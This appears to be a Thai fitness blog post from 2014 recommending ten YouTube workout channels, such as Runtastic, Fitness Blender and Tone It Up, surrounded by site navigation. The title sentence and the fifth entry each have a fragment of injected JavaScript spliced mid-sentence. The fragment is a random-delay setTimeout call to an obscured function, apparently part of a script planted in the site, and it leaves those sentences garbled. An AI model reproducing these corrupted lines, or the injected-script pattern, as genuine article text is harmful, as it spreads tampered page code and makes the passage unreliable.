• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

10 ช่องสุดยอดช่อง Fitness จากยูทูป โดย RunningWeek

Kanthad Yangsattha by Kanthad Yangsattha
25 November 2014
in Feature, Tips & Technics, Training
0
10 ช่องสุดยอดช่อง Fitness จากยูทูป โดย RunningWeek
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

10 ช่องสุดยอดช่อง Fitness จากยูทูป โดย RunningWeek หรือ 10 best Youtube channels to get you motivated andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fit #RunningWeek

เราทุกคนรู้ว่ามันเป็นการยากที่จะออกจากบ้านเพื่อไปออกกำลังกาย การที่ต้องไปออกกำลังกายนอกบ้านมันทำให้คุณขาดแรงจูงใจโดยเฉพาะวันที่อากาศร้อนๆ ในเมื่อสิ่งที่คุณอยากจะทำคือการทิ้งร่างอยู่บนที่นอนที่บ้าน การที่จะต้องออกไปเสียค่าเข้ายิมทำให้เป็นข้อแก้ตัวเสมอๆที่คุณจะไม่ไปออกกำลังกาย

 

No Excuse!!!

ในเมื่อมีChannelการออกกำลังกายที่ฟรีอยู่บน Youtube ที่คุณสามารถทำได้ง่ายๆที่บ้านของคุณเอง YouTube Channel ทั้งหมดยังมีเคล็ดลับสำหรับการออกกำลังกายและการออกไปวิ่งนอกบ้าน ทำให้คุณมีแรงบันดาลใจ และยังมีเคล็ดลับในการลดน้ำหนักอีกด้วย แล้ว Sixpack ของผู้หญิงพวกนี้จะทำให้คุณมีแรงบันดาลใจในการออกกำลังกายมากขึ้น

1. Runtastic

Runtastic โพสวีดีโอรายสัปดาห์เกี่ยวกับเทคนิคในการวิ่งนอกสถานที่ เช่น ที่ยิม นอกบ้าน หรือในสวน และการทำอย่างไรที่จะ exercise ในขณะที่คุณไปเดินเที่ยว บางช่วงของวีดีโอจะมีการสาธิตการใช้อุปกรณ์สำหรับการออกกำลังกาย ตัวอย่างเช่น การสร้างกล้ามเนื้อหน้าท้องที่ใช้เวลาเพียงสามนาที

2. Live Strong Women

Channel นี้มีทุกๆที่จะสามารถทำให้เราสร้างกล้ามเนื้อหน้าท้องได้ ไม่ว่าจะเป็นการเล่นโยคะหรือ เคล็ดลับการกินเพื่อสุขภาพ วิดีโอทั้งหมดจะมีเนื้อหาสั้นๆที่ทำขึ้นเป็นพิเศษสำหรับคุณผู้หญิง เพื่อให้คุณไม่ต้องใช้เวลามากในการออกกำลังกาย ตอนที่เราชื่นชอบของ Live Strong Woman Channel นี้คือ การออกกำลังกายที่หลากหลาย และผู้สอนจะสอนเทคนิคการออกกำลังกายที่แตกต่าง โดยใช้เทคนิคต่างกันเพื่อให้คุณสามารถเลือกสิ่งที่คุณชอบ เพื่อให้นำไปใช้ในชีวิตประจำวันได้

3. Fitness Blender

มีคลิปให้คุณดูกันฟรีๆเยอะแยะมากมายสำหรับ FitnessBlender มีหลายสิ่งที่จะทำให้คุณยอมแพ้ในการออกกำลังกายแต่อย่างไรก็ตาม 5วัน ในความท้าทายของchannelนี้จะทำให้คุณมีแรงบันดาลใจที่จะเป็นจุดเริ่มต้นในการออกกำลังกายอย่างที่คุณต้องการ

4. Runner’s World TV

เป็น Channelที่ควบคู่กับนิตยสาร Runner’s World TV ได้รับรางวัลรองชนะเลิศอันดับ TV ไม่ได้มีเพียงวีดีโอการออกกำลังกายเพียงอย่างเดียวแต่มี 3วีดีโอ ที่เป็นเคล็ดลับที่เป็นประโยชน์อย่างมากในการวิ่งรวมถึงวีธีการหลีกเลี่ยงการบาดเจ็บและการวิ่งขึ้นเนินที่ถูกวิธี

5. Exercise Routine

หากคุณมีปัญหาในการตัดสินใจระหว่างการ Pilates(เป็นการออกกำลังกายที่ช่วยเสริมสร้างความแข็งแรงให้โครงสร้างภายในร่างกาย) อยากจะรูปร่างfirm หรืออยากจะเพิ่มความอึด Channel นี้มีทั้งสามอย่างให้คุณMix andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Match กับสิ่งที่คุณอยากจะทำในวันนั้น

6.Turbulence Training

วีดีโอสั้นๆที่เกี่ยวกับการออกกำลังกายที่คุณสามารถออกกำลังกายได้ทุกส่วนที่ต้องการ หลายท่าที่คุณไม่จำเป็นต้องใช้อุปกรณ์มากมาย นอกจากนี้ยังมีบางวีดีโอที่เกี่ยวช้องกับการออกกำลังกาย ที่สามารถทำนอกบ้านได้ พบมากในกลุ่มที่อาศัยอยู่ในประเทศสหรัฐอเมริกา แต่ไม่ได้รับการยอมรับจาก UK

7. BeFit

Channel เป็นที่ชื่นชอบ แม้ว่าจะเป็นแบบอเมริกาก็ตาม Befit จะอัพโหลดคลิปใหม่ๆทุกวันจากFitness Trainer ที่มีชื่อเสียง ได้แก่ Jane Fonda และ Jillian Michaels เป็นการออกกำลังกายที่มีความหลากหลาย เช่น การเข้าฝึกฝนการออกกำลังกาย การฝึกกล้ามเนื้อหน้าท้อง และกล้ามเนื้อแขน แต่ส่วนที่เป็นที่ชื่นชอบมากที่สุดคือ 30วันของJillian Michaels ที่สามารถลดน้ำหนักได้มากขึ้น เพียงใช้เวลาเพียง 20 นาที ในการออกกำลังกายเป็นประจำทุกวัน

8. Blogilates

ผู้หญิงที่ออกกำลังกายจะชอบ channel นี้จะเกี่ยวข้องกับการยกกระชับก้น,ต้นแขนและระบบหัวใจ ในตาละคลิปเธอตั้งชื่อได้น่ารักเช่น Gangnam Style Call Me Maybe Mash Up Squat Challenge

9. Tone It Up

Karena และ Katrina ใช้ Tone It Up เธออยากหุ่นที่สมบูรณ์แบบ เธอใส่บิกินี่ไปออกกำลังกายบนชายหาด Channel นี้จะทำให้คุณฝึกร่างกายและ มีกิจวัตรประจำวัน รายการนี้จะอัปโหลดทุกๆวันอังคารสำหรับ Tone it up Tuesday จะให้คำแนะนำเกี่ยวกับวิธีการลดน้ำหนักและการออกกำลังกาย และยังมีสูตรอาหารสำหรับการวางแผนการลดน้ำหนักของสาวๆ เป็นประจำทุกวันศุกร์

10. Pop Sugar Fitness

ไม่เพียงแต่ช่อง PopSugar Fitness จะมีวิธีการออกกำลังกายให้อัปโหลด รวมถึงการออกกำลังกายในรูปแบบของ Victoria’ Secret เพื่อให้เราทุกคนสามารถมีรูปร่างที่คล้าย Rosie Huntington-Whiteley แ ละยังมีสูตรสำหรับการรับประทานอาหารที่ดีต่อสุขภาพเช่นเดียวกับเคล็ดลับการผ่อนคลายและผิวพรรณ สิ่งที่ได้รับความนิยมเกี่ยวกับวีดีโอการออกกำลังกายในช่องทางนี้ คือ ความเรียบง่ายและรวดเร็วพอดีกับช่วงเวลาที่ว่างในการดำเนินกิจวัตร

 

Thank: http://www.shinyshiny.tv/

ShareTweetShare
Kanthad Yangsattha

Kanthad Yangsattha

Related Posts

“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS
News

“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

3 May 2023
บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • เอาติดข้างฝาไว้นะ..ตารางฝึกวิ่งมาราธอน 8 สัปดาห์

    เอาติดข้างฝาไว้นะ..ตารางฝึกวิ่งมาราธอน 8 สัปดาห์

    0 shares
    Share 0 Tweet 0
  • วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ตุลาคมนี้เตรียมพบกับ “สนามเขียว” โฉมใหม่

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

3 May 2023
บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.